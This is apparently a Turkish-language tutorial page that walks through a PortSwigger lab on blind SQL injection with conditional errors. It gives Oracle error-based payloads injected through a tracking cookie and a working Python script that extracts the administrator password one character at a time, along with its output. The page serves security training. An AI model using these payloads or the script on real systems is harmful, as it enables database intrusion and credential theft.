> For the complete documentation index, see [llms.txt](https://emre-ermenek.gitbook.io/sqli-egitimi/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://emre-ermenek.gitbook.io/sqli-egitimi/sql-injection-sqli-egitim-modulu-ve-portswigger/blind-sql-injection/blind-sql-injection-with-conditional-errors-cozumu.md).

# Blind SQL injection with conditional errors Çözümü

Bu labın çözümünde, <https://portswigger.net/web-security/sql-injection/cheat-sheet> bu kaynaktan yardım alabilirsiniz.

Bize labın başında şu bilgileri vermiş:

Blind SQL Injection varmış. tracking cookie değerini kullanarak kullanıcıyı takip ediyormuş ve bu değeri SQL sorgusuna dahil ediyormuş. Burada SQL Injection yapıcaz demek. Sadece sql querysi hata verirse bunu gösterecekmiş özel bir mesaj olarak, bozuk sorguda. Veritabanındaki users tablosundan administrator’ın şifresini bulup giriş yap diyor.

Sayfa aşağıdaki gibi:

<figure><img src="/files/FTQ2eYicXQXnwh71xbVS" alt=""><figcaption></figcaption></figure>

Sayfayı yenieyip, burp proxy ile isteği yakalayıp repeater’a atıyoruz.

<figure><img src="/files/2ax85WC60UmkBOPvu5EO" alt=""><figcaption></figcaption></figure>

Buradaki isteği aşağıya da kopyalıyorum oradan gidelim:

```bash
GET / HTTP/2
Host: 0aa50053043bf5ed81a089d5006300b6.web-security-academy.net
Cookie: TrackingId=1T4TECOa9vJNiXir; session=xLnnFLTYe34K4QRdklTvH6CtFMg5XmB5
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:146.0) Gecko/20100101 Firefox/146.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: <https://portswigger.net/>
Sec-Gpc: 1
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: cross-site
Sec-Fetch-User: ?1
Priority: u=0, i
Te: trailers
```

Burada TrackingId değerinden Blind SQL Injection yapıcaz. Hata verdirelim:

(Kendi TrackingId'nizi buraya yazın veya silip sadece tek tırnakla başlayın.)

`1T4TECOa9vJNiXir'`

<figure><img src="/files/ES2nrGNEGCNlJGVE6bFJ" alt=""><figcaption></figcaption></figure>

pek özel bir hata dönmüyor gibi, “Internal Server Error” dönüyor.

Hangi dbms olduğunu anlayalım:

cheatsheet de conditional kısmındaki payloadları deneyebiliriz. İlk sırada Oracle var:

`SELECT CASE WHEN (bizim_ekleyeceğimiz_kondisyon) THEN TO_CHAR(1/0) ELSE NULL END FROM dual`

burada eklediğimiz kondisyon doğru olursa hata verecek şekilde yazılmış bu sorgu test edelim. Bu sorguyu önceki sorguya ekleyebilmek için string concatenation kullanıcaz. Yanlış bir koşul ekleyip atalım.

`1T4TECOa9vJNiXir' || (SELECT CASE WHEN (1=2) THEN TO_CHAR(1/0) ELSE NULL END FROM dual)--`

<figure><img src="/files/C77VSEbLd9QtAPwxl8gi" alt=""><figcaption></figcaption></figure>

200 döndü, hata vermediğine göre Oracle veritabanını kullanıyor. Artık hata mekanizmasını kurduk. Veritabanında istediğimiz koşul sorgularını çalıştırarak soru sormaya başlayabiliriz.

İlk olarak şifrenin uzunluğunu bulmalıyız, bunun için yukardaki sorguyu şu şekilde güncelleyebiliriz.

`1T4TECOa9vJNiXir' || (SELECT CASE WHEN (LENGTH(password)>100) THEN TO_CHAR(1/0) ELSE NULL END FROM users WHERE username='administrator')--`

tabloyu users yaptık WHERE ile administrator için filtreledik ve koşulu aynı yere koyduk.

200 döndü yanı koşul hatalı demek bu şifre 100 haneden büyük değil, zaten ilk amacım yanlış koşul yazıp sorguda syntax hatası var mı anlamaktı yok. Şimdi önceki lablarda falan hep 20 haneli oluyordu. 19 dan büyük mü diyelim:

`1T4TECOa9vJNiXir' || (SELECT CASE WHEN (LENGTH(password)>19) THEN TO_CHAR(1/0) ELSE NULL END FROM users WHERE username='administrator')--`

500 hatası verdi büyükmüş 20 verelim:

`1T4TECOa9vJNiXir' || (SELECT CASE WHEN (LENGTH(password)>20) THEN TO_CHAR(1/0) ELSE NULL END FROM users WHERE username='administrator')--`

200 döndü, demek ki tam 20 haneli.

Şimdi harf harf denetmemiz lazım. Bunun için `SUBSTR` kullanıcaz.

Labları çözerken hep admin şifresinde sabit bir regex vardı, a-z arası harfler(küçük) ve rakamlar(0-9) kullanılmıştı. Olasılık hesaplarsak 20(şifre uzunluğu)x36(karakter)=720 tane muhtemel deneme yapmamız gerekiyor. Bu sebeple Burp Community versiyonundaki yavaşlatılmış Intruder’ı kullanmak işimizi yavaşlatır. Python scripti hazırlayalım.

Atacağımız sorgu şöyle olmalı:

`1T4TECOa9vJNiXir' || (SELECT CASE WHEN (SUBSTR(password,1,1)='a') THEN TO_CHAR(1/0) ELSE NULL END FROM users WHERE username='administrator')--`

aslında sadece `SUBSTR(password,1,1)='a'` kısmını ekledik, `(password,1,1)='a'` demek şifrenin 1. hanesini al ve 1 tane harf al. Bundaki passworddan sonra gelen 1’i değiştirerek bütün karakterleri gezen ve ‘a’ değeri yazdığımız yere olası karakterleri bularak oluşturan bir script yazıcaz. Doğru yapıp yapmadığını da dönen “Internal Server Error” mesajından anlayabilir:

```python
import requests

#buraya kendi url'inizi girin
url = "<https://0aa50053043bf5ed81a089d5006300b6.web-security-academy.net/>"
#deneyeceğimiz karakterler
alphabet = "abcdefghijklmnopqrstuvwxyz0123456789"
password = ""

# Kendi session cookie'ni buraya yapıştır
session_cookie = "xLnnFLTYe34K4QRdklTvH6CtFMg5XmB5" 

print("Şifre kırma işlemi başlatıldı. Lütfen bekleyin...")

for i in range(1, 21): # 1'den 20'ye kadar karakterler
    for char in alphabet:
        # Payload Cookie olarak gidiyor TrackingId üzerinden
        cookie_payload = f"1T4TECOa9vJNiXir' || (SELECT CASE WHEN (SUBSTR(password,{i},1)='{char}') THEN TO_CHAR(1/0) ELSE NULL END FROM users WHERE username='administrator')--"
        
        # Her iki cookie'yi de gönderiyoruz
        cookies = {
            "TrackingId": cookie_payload,
            "session": session_cookie
        }
        
        r = requests.get(url, cookies=cookies)
        
        # Eğer sayfanın içinde Internal Server Error varsa, doğru harfi bulduk demektir
        if "Internal Server Error" in r.text:
            password += char
            print(f"[{i}/20] Bulundu! Şifre: {password}")
            break # Doğru harfi bulduğumuz için alfabedeki diğer harfleri denemeden bir sonraki karaktere (i) geç

print(f"\\nİşlem tamamlandı! Administrator şifresi: {password}")
```

```bash
emre@emre-ThinkPad-T14-Gen-5:~/Desktop$ python3 script.py
Şifre kırma işlemi başlatıldı. Lütfen bekleyin...
[1/20] Bulundu! Şifre: b
[2/20] Bulundu! Şifre: bi
[3/20] Bulundu! Şifre: big
[4/20] Bulundu! Şifre: bigw
[5/20] Bulundu! Şifre: bigwz
[6/20] Bulundu! Şifre: bigwzi
[7/20] Bulundu! Şifre: bigwziz
[8/20] Bulundu! Şifre: bigwziz2
[9/20] Bulundu! Şifre: bigwziz2z
[10/20] Bulundu! Şifre: bigwziz2zx
[11/20] Bulundu! Şifre: bigwziz2zxd
[12/20] Bulundu! Şifre: bigwziz2zxdn
[13/20] Bulundu! Şifre: bigwziz2zxdnb
[14/20] Bulundu! Şifre: bigwziz2zxdnb1
[15/20] Bulundu! Şifre: bigwziz2zxdnb13
[16/20] Bulundu! Şifre: bigwziz2zxdnb13u
[17/20] Bulundu! Şifre: bigwziz2zxdnb13up
[18/20] Bulundu! Şifre: bigwziz2zxdnb13upz
[19/20] Bulundu! Şifre: bigwziz2zxdnb13upze
[20/20] Bulundu! Şifre: bigwziz2zxdnb13upzeh

İşlem tamamlandı! Administrator şifresi: bigwziz2zxdnb13upzeh
```

bize administrator ile login yaparak lab’ı tamamlamızı söylemiş, “My account” üzerine tıklayıp gelen login sayfasına elinizdeki bilgilerle giriş yapın ve labı tamamlayın.

<figure><img src="/files/jKOQJRT0CYZFoxGHeRzy" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/LsaRUOtzWCC8fk2aMc4g" alt=""><figcaption></figcaption></figure>
